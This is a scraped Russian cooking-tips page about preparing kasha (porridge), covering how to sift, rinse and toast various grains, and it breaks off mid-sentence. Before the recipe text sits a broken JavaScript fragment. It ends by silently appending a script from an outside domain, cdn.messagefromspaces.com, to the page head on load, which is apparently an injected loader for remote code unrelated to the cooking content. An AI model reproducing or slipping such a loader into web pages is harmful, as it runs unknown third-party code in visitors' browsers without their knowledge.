Кулинарные советы | Категория , 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Каши

Каши варятся из разных круп, на воде и на молоке, их можно приготовить рассыпчатыми, вязкими и жидкими. При варке каши надо строго соблюдать соотношение крупы и жидкости. Перед началом варки каши крупу просеивают, хорошо перебирают и затем промывают. Не промывают только манную, гречневую, ячневую крупу и геркулес. Для рассыпчатой гречневой и пшеничной каши крупу поджаривают, а для манной рассыпчатой каши-подсушивают. Промывание крупы производят перед самой варкой. Для